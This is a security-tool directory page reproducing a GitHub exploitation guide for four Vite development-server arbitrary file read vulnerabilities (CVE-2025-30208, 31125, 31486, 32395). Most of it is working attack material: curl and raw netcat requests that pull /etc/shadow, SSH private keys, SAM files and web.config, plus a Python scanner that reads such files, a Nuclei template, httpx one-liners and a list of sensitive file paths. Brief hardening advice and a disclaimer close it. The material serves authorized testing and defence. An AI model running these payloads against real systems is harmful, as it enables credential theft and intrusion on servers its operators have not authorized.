Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/nkuty/cve-2025-30208-31125-31486-32395
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration TestingLearning & Education
GitHubnkuty/cve-2025-30208-31125-31486-32395

CVE-2025-30208-31125-31486-32395

네 가지 Vite 개발 서버 임의 파일 읽기 취약점(CVE-2025-30208/31125/31486/32395)에 대한 익스플로잇 가이드 및 자동 탐지 스크립트 (Linux 및 Windows 예제 포함)

저장소 보기
511년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Vite 취약점 악용 가이드 (CVE-2025-30208/31125/31486/32395)

이 문서는 Vite 개발 서버에서 발생하는 네 가지 임의 파일 읽기 취약점의 악용 방법을 요약하며, Linux 및 Windows 시스템 예제를 포함합니다. 참고: 승인된 보안 테스트 환경에서만 사용하세요.

기본 원리

Vite 개발 서버의 이 네 가지 취약점은 모두 공격자가 server.fs.deny 제한을 우회하여 서버의 임의 파일을 읽을 수 있도록 합니다. 각 취약점은 서로 다른 우회 기술을 사용하지만 기본 원리는 유사합니다.

영향 조건

네 가지 취약점 모두 다음 조건이 충족되어야 악용이 가능합니다:

  1. 대상이 영향을 받는 버전의 Vite 개발 서버를 사용 중
  2. 개발 서버가 네트워크에 명시적으로 노출됨 (--host 또는 server.host 설정 옵션 사용)
  3. CVE-2025-32395의 경우, 서버가 Node 또는 Bun(Deno 제외) 환경에서 실행 중

취약점 악용 방법

1. CVE-2025-30208 (후행 구분자 우회)

영향 버전: < 6.2.3, < 6.1.2, < 6.0.12, < 5.4.15, < 4.5.10

수정 버전: 6.2.3, 6.1.2, 6.0.12, 5.4.15, 4.5.10

악용 원리: URL에 ?raw?? 또는 ?import&raw?? 쿼리 매개변수를 추가하여 @fs 경로 제한을 우회합니다. 이는 후행 구분자(예: ?)가 여러 위치에서 제거되지만 쿼리 문자열 정규 표현식에서는 고려되지 않았기 때문입니다.

Linux 시스템 악용 예제:```bash

读取任意文件

curl "http://[目标IP]:5173/@fs/etc/passwd?raw??" curl "http://[目标IP]:5173/@fs/etc/passwd?import&raw??" curl "http://[目标IP]:5173/@fs/var/log/auth.log?raw??" curl "http://[目标IP]:5173/@fs/home/[用户名]/.ssh/id_rsa?raw??"

验证漏洞是否存在

curl "http://[目标IP]:5173/@fs/etc/passwd" # 应返回403错误 curl "http://[目标IP]:5173/@fs/etc/passwd?raw??" # 如果返回文件内容,则存在漏洞

root@kitploit:~
**Windows 시스템 활용 예시**:```bash
# 读取任意文件
curl "http://[目标IP]:5173/@fs/C:/Windows/win.ini?raw??"
curl "http://[目标IP]:5173/@fs/C:/Windows/system32/drivers/etc/hosts?raw??"
curl "http://[目标IP]:5173/@fs/C:/Users/Administrator/Desktop/credentials.txt?raw??"
curl "http://[目标IP]:5173/@fs/C:/inetpub/wwwroot/web.config?raw??"

# 验证漏洞是否存在
curl "http://[目标IP]:5173/@fs/C:/Windows/win.ini"  # 应返回403错误
curl "http://[目标IP]:5173/@fs/C:/Windows/win.ini?raw??"  # 如果返回文件内容,则存在漏洞

2. CVE-2025-31125 (특정 가져오기 방법 우회)

영향을 받는 버전: CVE-2025-30208과 동일

수정된 버전: CVE-2025-30208과 동일

이용 원리: 특정 가져오기 방법(예: ?inline&import 또는 ?raw?import)을 사용하여 server.fs.deny 구성을 우회합니다.

Linux 시스템 이용 예제:```bash

读取任意文件

curl "http://[目标IP]:5173/@fs/etc/passwd?inline&import" curl "http://[目标IP]:5173/@fs/etc/passwd?raw?import" curl "http://[目标IP]:5173/@fs/etc/shadow?inline&import" curl "http://[目标IP]:5173/@fs/proc/self/environ?inline&import"

验证漏洞是否存在

curl "http://[目标IP]:5173/@fs/etc/passwd" # 应返回403错误 curl "http://[目标IP]:5173/@fs/etc/passwd?inline&import" # 如果返回文件内容,则存在漏洞

root@kitploit:~
**Windows 시스템 활용 예시**:```bash
# 读取任意文件
curl "http://[目标IP]:5173/@fs/C:/Windows/win.ini?inline&import"
curl "http://[目标IP]:5173/@fs/C:/Windows/system32/drivers/etc/hosts?inline&import"
curl "http://[目标IP]:5173/@fs/C:/Program Files/MySQL/MySQL Server 8.0/my.ini?inline&import"
curl "http://[目标IP]:5173/@fs/C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/PowerShell/PSReadLine/ConsoleHost_history.txt?inline&import"

# 验证漏洞是否存在
curl "http://[目标IP]:5173/@fs/C:/Windows/win.ini"  # 应返回403错误
curl "http://[目标IP]:5173/@fs/C:/Windows/win.ini?inline&import"  # 如果返回文件内容,则存在漏洞

3. CVE-2025-31486 (SVG 및 상대 경로 우회)

영향을 받는 버전: < 6.2.5, < 6.1.4, < 6.0.14, < 5.4.17, < 4.5.12

수정된 버전: 6.2.5, 6.1.4, 6.0.14, 5.4.17, 4.5.12

악용 원리:

  1. SVG 우회: ?.svg?.wasm?init 추가 또는 sec-fetch-dest: script 헤더 사용을 통해 .svg 파일에 대한 제한 검사 우회
  2. 상대 경로 우회: ID 정규화 전 검사 취약점을 이용하여 상대 경로(예: ../../)를 사용해 제한 우회

Linux 시스템 악용 예시:```bash

SVG绕过方法

curl "http://[目标IP]:5173/etc/passwd?.svg?.wasm?init" curl -H "sec-fetch-dest: script" "http://[目标IP]:5173/etc/passwd?.svg" curl "http://[目标IP]:5173/etc/nginx/nginx.conf?.svg?.wasm?init" curl "http://[目标IP]:5173/var/www/html/config.php?.svg?.wasm?init"

相对路径绕过方法

curl "http://[目标IP]:5173/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw" curl "http://[目标IP]:5173/@fs/x/x/x/vite-project/?/../../../../../etc/shadow?import&?raw" curl "http://[目标IP]:5173/@fs/x/x/x/vite-project/?/../../../../../var/log/auth.log?import&?raw"

验证漏洞是否存在

curl "http://[目标IP]:5173/etc/passwd" # 应返回404错误 curl "http://[目标IP]:5173/etc/passwd?.svg?.wasm?init" # 如果返回文件内容,则存在漏洞

root@kitploit:~
**Windows 시스템 활용 예시**:```bash
# SVG绕过方法
curl "http://[目标IP]:5173/C:/Windows/win.ini?.svg?.wasm?init"
curl -H "sec-fetch-dest: script" "http://[目标IP]:5173/C:/Windows/win.ini?.svg"
curl "http://[目标IP]:5173/C:/inetpub/wwwroot/web.config?.svg?.wasm?init"
curl "http://[目标IP]:5173/C:/Windows/Panther/Unattend.xml?.svg?.wasm?init"

# 相对路径绕过方法
curl "http://[目标IP]:5173/@fs/x/x/x/vite-project/?/../../../../../C:/Windows/win.ini?import&?raw"
curl "http://[目标IP]:5173/@fs/x/x/x/vite-project/?/../../../../../C:/Windows/system32/drivers/etc/hosts?import&?raw"
curl "http://[目标IP]:5173/@fs/x/x/x/vite-project/?/../../../../../C:/Users/Administrator/Desktop/credentials.txt?import&?raw"

# 验证漏洞是否存在
curl "http://[目标IP]:5173/C:/Windows/win.ini"  # 应返回404错误
curl "http://[目标IP]:5173/C:/Windows/win.ini?.svg?.wasm?init"  # 如果返回文件内容,则存在漏洞

주의: SVG 우회는 파일이 build.assetsInlineLimit (기본값 4kB)보다 작고 Vite 6.0+를 사용하는 경우에만 유효합니다.

4. CVE-2025-32395 (잘못된 요청 대상 우회)

영향 버전: < 6.2.6, < 6.1.5, < 6.0.15, < 5.4.18, < 4.5.13

수정 버전: 6.2.6, 6.1.5, 6.0.15, 5.4.18, 4.5.13

익스플로잇 원리: HTTP 1.1 사양에서 request-target에 # 문자를 허용하지 않는 특성을 이용합니다. Node 및 Bun 런타임에서 이러한 요청은 내부적으로 거부되지 않으며, http.IncomingMessage.url에는 #이 포함되고 Vite는 server.fs.deny를 검사할 때 req.url에 #이 포함되지 않을 것이라고 가정합니다.

Linux 시스템 익스플로잇 예시:```bash

使用curl的--request-target选项

curl --request-target "/@fs/Users/[用户名]/Desktop/vite-project/#/../../../../../etc/passwd" "http://[目标IP]:5173" curl --request-target "/@fs/Users/[用户名]/Desktop/vite-project/#/../../../../../etc/shadow" "http://[目标IP]:5173" curl --request-target "/@fs/Users/[用户名]/Desktop/vite-project/#/../../../../../var/www/html/wp-config.php" "http://[目标IP]:5173"

或使用原始HTTP请求

echo -e "GET /@fs/Users/[用户名]/Desktop/vite-project/#/../../../../../etc/passwd HTTP/1.1\r\nHost: [目标IP]:5173\r\nConnection: close\r\n\r\n" | nc [目标IP] 5173 echo -e "GET /@fs/Users/[用户名]/Desktop/vite-project/#/../../../../../etc/shadow HTTP/1.1\r\nHost: [目标IP]:5173\r\nConnection: close\r\n\r\n" | nc [目标IP] 5173

验证漏洞是否存在

curl "http://[目标IP]:5173/@fs/etc/passwd" # 应返回403错误 curl --request-target "/@fs/x/#/../../../../../etc/passwd" "http://[目标IP]:5173" # 如果返回文件内容,则存在漏洞

root@kitploit:~
**Windows 시스템 이용 예시**:```bash
# 使用curl的--request-target选项
curl --request-target "/@fs/Users/[用户名]/Desktop/vite-project/#/../../../../../C:/Windows/win.ini" "http://[目标IP]:5173"
curl --request-target "/@fs/Users/[用户名]/Desktop/vite-project/#/../../../../../C:/Windows/system32/drivers/etc/hosts" "http://[目标IP]:5173"
curl --request-target "/@fs/Users/[用户名]/Desktop/vite-project/#/../../../../../C:/inetpub/wwwroot/web.config" "http://[目标IP]:5173"
curl --request-target "/@fs/Users/[用户名]/Desktop/vite-project/#/../../../../../C:/Program Files/Microsoft SQL Server/MSSQL15.SQLEXPRESS/MSSQL/DATA/master.mdf" "http://[目标IP]:5173"

# 或使用原始HTTP请求
echo -e "GET /@fs/Users/[用户名]/Desktop/vite-project/#/../../../../../C:/Windows/win.ini HTTP/1.1\r\nHost: [目标IP]:5173\r\nConnection: close\r\n\r\n" | nc [目标IP] 5173
echo -e "GET /@fs/Users/[用户名]/Desktop/vite-project/#/../../../../../C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/PowerShell/PSReadLine/ConsoleHost_history.txt HTTP/1.1\r\nHost: [目标IP]:5173\r\nConnection: close\r\n\r\n" | nc [目标IP] 5173

# 验证漏洞是否存在
curl "http://[目标IP]:5173/@fs/C:/Windows/win.ini"  # 应返回403错误
curl --request-target "/@fs/x/#/../../../../../C:/Windows/win.ini" "http://[目标IP]:5173"  # 如果返回文件内容,则存在漏洞

참고: 이 취약점은 Node 또는 Bun(Deno 제외) 환경에서 실행되는 Vite 서버에만 영향을 미칩니다.

종합 활용 스크립트

다음 Python 스크립트는 대상이 이 네 가지 취약점 중 하나라도 존재하는지 자동으로 감지하고 더 많은 테스트 경로를 포함합니다:```python #!/usr/bin/env python3 #This script is made by "nkuty" import requests import argparse import sys import socket import random import string import urllib.parse from urllib3.exceptions import InsecureRequestWarning

禁用SSL警告

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

def check_vite_vulnerabilities(target_url): if not target_url.startswith('http' ): target_url = f"http://{target_url}"

root@kitploit:~
if target_url.endswith('/' ):
    target_url = target_url[:-1]

# 解析URL获取主机和端口
parsed_url = urllib.parse.urlparse(target_url)
host = parsed_url.hostname
port = parsed_url.port

# 如果端口未指定,根据协议设置默认端口
if port is None:
    port = 443 if parsed_url.scheme == 'https' else 80

print(f"[*] 测试目标: {target_url} (主机: {host}, 端口: {port} )")

# 扩展的Linux测试路径
linux_test_paths = [
    "/etc/passwd",
    "/etc/shadow",
    "/etc/hosts",
    "/etc/nginx/nginx.conf",
    "/var/www/html/config.php",
    "/var/www/html/wp-config.php",
    "/home/admin/.ssh/id_rsa",
    "/home/ubuntu/.ssh/id_rsa",
    "/root/.ssh/id_rsa",
    "/proc/self/environ",
    "/var/log/auth.log",
    "/etc/crontab",
    "/etc/mysql/my.cnf",
    "/var/www/html/.env",
    "/opt/tomcat/conf/server.xml"
]

# 扩展的Windows测试路径
windows_test_paths = [
    "C:/Windows/win.ini",
    "C:/Windows/system32/drivers/etc/hosts",
    "C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/PowerShell/PSReadLine/ConsoleHost_history.txt",
    "C:/inetpub/wwwroot/web.config",
    "C:/Program Files/MySQL/MySQL Server 8.0/my.ini",
    "C:/Users/Administrator/.ssh/id_rsa",
    "C:/Windows/Panther/Unattend.xml",
    "C:/xampp/php/php.ini",
    "C:/Program Files/Microsoft SQL Server/MSSQL15.SQLEXPRESS/MSSQL/DATA/master.mdf",
    "C:/Users/Administrator/Desktop/credentials.txt",
    "C:/ProgramData/MySQL/MySQL Server 8.0/Data/ibdata1",
    "C:/Windows/System32/config/SAM",
    "C:/Windows/repair/SAM",
    "C:/Windows/debug/NetSetup.log",
    "C:/Windows/iis6.log"
]

# 所有测试路径
all_test_paths = linux_test_paths + windows_test_paths

vulnerabilities = {
    "CVE-2025-30208": [
        "/@fs{path}?raw??",
        "/@fs{path}?import&raw??"
    ],
    "CVE-2025-31125": [
        "/@fs{path}?inline&import",
        "/@fs{path}?raw?import"
    ],
    "CVE-2025-31486": [
        "{path}?.svg?.wasm?init",
        "/@fs/x/x/x/vite-project/?/../../../../../{path}?import&?raw"
    ],
    "CVE-2025-32395": [
        "/@fs/x/#/../../../../../{path}"
    ]
}

# 首先测试基本路径是否可访问
try:
    r = requests.get(f"{target_url}/@vite/client", timeout=5, verify=False)
    if r.status_code != 200:
        print(f"[-] 目标可能不是Vite服务器,未找到/@vite/client路径")
        # 尝试其他可能的Vite标识
        r = requests.get(f"{target_url}", timeout=5, verify=False)
        if "vite" not in r.text.lower() and "dev server" not in r.text.lower():
            print(f"[-] 目标页面内容中未找到Vite相关标识")
            print(f"[*] 继续测试漏洞,忽略Vite标识检查...")
    else:
        print(f"[+] 确认目标是Vite服务器")
except Exception as e:
    print(f"[-] 连接错误: {e}")
    print(f"[*] 继续测试漏洞,忽略连接错误...")

# 生成随机文件名用于测试不存在的文件(避免误报)
random_filename = ''.join(random.choice(string.ascii_lowercase) for i in range(10))
random_test = f"/tmp/{random_filename}.txt"

# 测试CVE-2025-32395(需要自定义HTTP请求)
def test_cve_2025_32395(path):
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(5)
        s.connect((host, port))
        
        # 根据协议构建请求
        protocol = "HTTP/1.1"
        request = f"GET /@fs/x/#/../../../../../{path} {protocol}\r\nHost: {host}:{port}\r\nConnection: close\r\n\r\n"
        
        # 如果是HTTPS,需要包装SSL
        if parsed_url.scheme == 'https':
            import ssl
            context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT )
            context.check_hostname = False
            context.verify_mode = ssl.CERT_NONE
            s = context.wrap_socket(s, server_hostname=host)
        
        s.send(request.encode())
        response = b""
        while True:
            chunk = s.recv(4096)
            if not chunk:
                break
            response += chunk
        s.close()
        
        response_text = response.decode('utf-8', errors='ignore')
        
        # 检查是否成功读取文件
        if "HTTP/1.1 200" in response_text:
            content = response_text.split('\r\n\r\n')[1] if '\r\n\r\n' in response_text else ""
            if is_valid_file_content(path, content):
                print(f"[+] 发现漏洞 CVE-2025-32395! 路径: {path}")
                print(f"[+] 响应内容预览: {content[:100]}...")
                return True
    except Exception as e:
        print(f"[-] 测试 CVE-2025-32395 路径 {path} 时出错: {e}")
    return False

# 检查文件内容是否有效
def is_valid_file_content(path, content):
    if not content:
        return False
        
    # 根据文件类型检查内容特征
    if "passwd" in path and ("root:" in content or "nobody:" in content):
        return True
    elif "shadow" in path and ("root:" in content or "$" in content):
        return True
    elif "win.ini" in path and ("for 16-bit app support" in content or "[fonts]" in content):
        return True
    elif "hosts" in path and ("localhost" in content or "127.0.0.1" in content):
        return True
    elif ".ssh/id_rsa" in path and ("BEGIN" in content and "PRIVATE KEY" in content):
        return True
    elif "web.config" in path and ("<configuration" in content or "<connectionStrings" in content):
        return True
    elif ".php" in path and ("<?php" in content or "$" in content):
        return True
    elif ".env" in path and ("=" in content):
        return True
    elif ".xml" in path and ("<" in content and ">" in content):
        return True
    elif ".ini" in path and ("[" in content and "]" in content):
        return True
    elif ".log" in path and (len(content) > 10):
        return True
    elif ".txt" in path and (len(content) > 5):
        return True
    elif ".mdf" in path and (not content.isprintable()):  # 二进制文件
        return True
        
    # 通用检查:内容不为空且不是错误消息
    return len(content) > 10 and "error" not in content.lower() and "not found" not in content.lower()

# 测试所有漏洞和路径
found_vulnerabilities = []

# 首先测试CVE-2025-32395,因为它需要特殊处理
for path in all_test_paths:
    if test_cve_2025_32395(path):
        found_vulnerabilities.append(("CVE-2025-32395", path))
        break

# 测试其他漏洞
for cve, templates in vulnerabilities.items():
    if cve == "CVE-2025-32395":
        continue  # 已经测试过了
        
    for path in all_test_paths:
        for template in templates:
            try:
                url = f"{target_url}{template.format(path=path)}"
                r = requests.get(url, timeout=5, verify=False)
                
                if r.status_code == 200 and is_valid_file_content(path, r.text):
                    print(f"[+] 发现漏洞 {cve}! 路径: {path}, 模板: {template}")
                    print(f"[+] 响应内容预览: {r.text[:100]}...")
                    found_vulnerabilities.append((cve, path))
                    break
            except Exception as e:
                print(f"[-] 测试 {cve} 路径 {path} 模板 {template} 时出错: {e}")
        
        if any(cve == v[0] for v in found_vulnerabilities):
            break  # 如果已经找到这个CVE的漏洞,就不再测试其他路径

# 测试随机文件名以验证是否存在误报
false_positives = []
for cve, templates in vulnerabilities.items():
    if cve == "CVE-2025-32395":
        continue
        
    for template in templates:
        try:
            url = f"{target_url}{template.format(path=random_test)}"
            r = requests.get(url, timeout=5, verify=False)
            
            if r.status_code == 200 and len(r.text) > 10:
                false_positives.append(cve)
                break
        except:
            pass

# 报告结果
if found_vulnerabilities:
    print("\n[+] 漏洞检测结果:")
    for cve, path in found_vulnerabilities:
        if cve in false_positives:
            print(f"  [-] {cve}: 可能存在误报,请手动验证")
        else:
            print(f"  [+] {cve}: 确认存在漏洞,可访问 {path}")
    return True
else:
    print("[-] 未发现漏洞或目标已修复")
    return False

if name == "main": parser = argparse.ArgumentParser(description='Vite漏洞检测工具') parser.add_argument('target', help='目标URL,例如: python3 vite_vulnerability_scanner.py http://example.com:5173' ) args = parser.parse_args()

root@kitploit:~
check_vite_vulnerabilities(args.target)
root@kitploit:~
>## 스크립트 사용 방법
>
>1. **스크립트 저장**:
>
>  - 스크립트 내용을 새 파일에 복사하고, 예를 들어 `vite_vulnerability_scanner.py`로 이름을 지정합니다.
>  - UTF-8 인코딩으로 저장해야 합니다.
>
>2. **의존성 설치**:
>
>  ```
> pip install requests argparse urllib3
>  ```
>
>3. **실행 권한 부여**(Linux/Mac 시스템):
>
>  ```
> chmod +x vite_vulnerability_scanner.py
>  ```
>
>4. **스크립트 실행**:
>
>  ```
> # 基本用法
> python3 vite_vulnerability_scanner.py http://目标IP:5173
>
>  # 或者如果您已赋予执行权限
>  ./vite_vulnerability_scanner.py http://目标IP:5173
>  ```
>
>5. **도움말 보기**:
>
>  ```
> python vite_vulnerability_scanner.py -h
>  ```
![스크린샷](https://raw.githubusercontent.com/nkuty/CVE-2025-30208-31125-31486-32395/main/png/%E5%B1%8F%E5%B9%95%E6%88%AA%E5%9B%BE%20.png)


## 일반적인 민감 파일 경로

### Linux 시스템```
/etc/passwd                   # 用户账户信息
/etc/shadow                   # 密码哈希(需要权限)
/etc/hosts                    # 主机映射
/etc/nginx/nginx.conf         # Nginx配置
/etc/apache2/apache2.conf     # Apache配置
/var/www/html/config.php      # PHP配置文件
/var/www/html/wp-config.php   # WordPress配置
/var/www/html/.env            # 环境变量文件
/home/[用户名]/.ssh/id_rsa    # SSH私钥
/home/[用户名]/.bash_history  # Bash历史命令
/proc/self/environ            # 进程环境变量
/var/log/auth.log             # 认证日志
/etc/crontab                  # 定时任务
/etc/mysql/my.cnf             # MySQL配置
/opt/tomcat/conf/server.xml   # Tomcat配置
/etc/redis/redis.conf         # Redis配置
/var/lib/jenkins/secrets/    # Jenkins密钥
/var/www/html/application/config/database.php  # CodeIgniter数据库配置
/var/www/html/sites/default/settings.php       # Drupal配置

Windows 시스템```

C:/Windows/win.ini # Windows基本信息 C:/Windows/system32/drivers/etc/hosts # 主机映射 C:/Windows/Panther/Unattend.xml # 安装配置(可能包含凭据) C:/Windows/System32/config/SAM # 用户账户数据库(需要权限) C:/Windows/repair/SAM # SAM备份(可能存在) C:/Windows/debug/NetSetup.log # 网络设置日志 C:/inetpub/wwwroot/web.config # IIS网站配置 C:/inetpub/logs/LogFiles/ # IIS日志 C:/Program Files/MySQL/MySQL Server 8.0/my.ini # MySQL配置 C:/xampp/php/php.ini # XAMPP PHP配置 C:/Users/[用户名]/.ssh/id_rsa # SSH私钥 C:/Users/[用户名]/AppData/Roaming/Microsoft/Windows/PowerShell/PSReadLine/ConsoleHost_history.txt # PowerShell历史 C:/Users/[用户名]/AppData/Roaming/Microsoft/Credentials/ # 存储的凭据 C:/Users/[用户名]/AppData/Local/Microsoft/Windows/INetCache/ # IE/Edge缓存 C:/Program Files/Microsoft SQL Server/MSSQL15.SQLEXPRESS/MSSQL/DATA/master.mdf # SQL Server数据文件 C:/ProgramData/MySQL/MySQL Server 8.0/Data/ibdata1 # MySQL数据文件 C:/Users/Administrator/Desktop/credentials.txt # 可能的凭据文件 C:/Windows/System32/inetsrv/config/applicationHost.config # IIS应用程序配置 C:/Windows/iis6.log # IIS日志

root@kitploit:~
## 취약점 탐지 도구

위의 Python 스크립트 외에도 다음 도구를 사용하여 이러한 취약점을 탐지할 수 있습니다:

1. **Nuclei 템플릿**:```yaml
id: vite-file-read-vulnerabilities
info:
  name: Vite Development Server - Arbitrary File Read
  author: security-researcher
  severity: high
  description: Detects multiple arbitrary file read vulnerabilities in Vite development server
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-30208
    - https://nvd.nist.gov/vuln/detail/CVE-2025-31486
    - https://nvd.nist.gov/vuln/detail/CVE-2025-32395

requests:
  - method: GET
    path:
      # Linux路径
      - "{{BaseURL}}/@fs/etc/passwd?raw??"
      - "{{BaseURL}}/@fs/etc/passwd?import&raw??"
      - "{{BaseURL}}/@fs/etc/passwd?inline&import"
      - "{{BaseURL}}/@fs/etc/passwd?raw?import"
      - "{{BaseURL}}/etc/passwd?.svg?.wasm?init"
      - "{{BaseURL}}/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw"
      
      # Windows路径
      - "{{BaseURL}}/@fs/C:/Windows/win.ini?raw??"
      - "{{BaseURL}}/@fs/C:/Windows/win.ini?import&raw??"
      - "{{BaseURL}}/@fs/C:/Windows/win.ini?inline&import"
      - "{{BaseURL}}/@fs/C:/Windows/win.ini?raw?import"
      - "{{BaseURL}}/C:/Windows/win.ini?.svg?.wasm?init"
      - "{{BaseURL}}/@fs/x/x/x/vite-project/?/../../../../../C:/Windows/win.ini?import&?raw"
    
    matchers-condition: or
    matchers:
      # Linux文件内容匹配
      - type: regex
        regex:
          - "root:.*:0:0:"
        part: body
      
      # Windows文件内容匹配
      - type: word
        words:
          - "for 16-bit app support"
          - "[fonts]"
        condition: or
        part: body
      
      # 通用匹配
      - type: word
        words:
          - "export default"
        condition: and
        part: body
  1. httpx 사용하기:```bash

Linux路径测试

cat targets.txt | httpx -path "/@fs/etc/passwd?raw??" -mc 200 -match-regex "root:" cat targets.txt | httpx -path "/@fs/etc/shadow?raw??" -mc 200 -match-regex "$" cat targets.txt | httpx -path "/etc/passwd?.svg?.wasm?init" -mc 200 -match-regex "root:"

Windows路径测试

cat targets.txt | httpx -path "/@fs/C:/Windows/win.ini?raw??" -mc 200 -match-regex "for 16-bit app support" cat targets.txt | httpx -path "/@fs/C:/Windows/system32/drivers/etc/hosts?raw??" -mc 200 -match-regex "localhost" cat targets.txt | httpx -path "/C:/Windows/win.ini?.svg?.wasm?init" -mc 200 -match-regex "for 16-bit app support"

root@kitploit:~
## 방어 조치

1. **Vite 즉시 업데이트**:
   - 6.2.6+, 6.1.5+, 6.0.15+, 5.4.18+ 또는 4.5.13+로 업그레이드

2. **네트워크 노출 제한**:
   - 프로덕션 환경에서 Vite 개발 서버를 사용하지 마세요
   - `--host` 또는 `server.host` 구성 옵션 사용을 피하세요
   - 노출이 필요한 경우 방화벽을 사용하여 접근 IP를 제한하세요

3. **구성 강화**:
   - `server.fs.strict: true` 사용
   - `server.fs.allow` 및 `server.fs.deny` 목록을 명확하게 구성
   - `server.fs.deny: ['**']`를 사용하여 파일 시스템 접근을 완전히 금지하는 것을 고려

4. **런타임 보안**:
   - Node/Bun 대신 Deno에서 Vite를 실행하는 것을 고려하세요 (CVE-2025-32395의 발견에 따라)
   - 최소 권한 원칙을 사용하여 Vite 서비스를 실행

**면책 조항**: 이 문서는 승인된 보안 테스트 및 교육 목적으로만 사용됩니다. 허가 없이 시스템을 테스트하는 것은 불법입니다.
도구 다운로드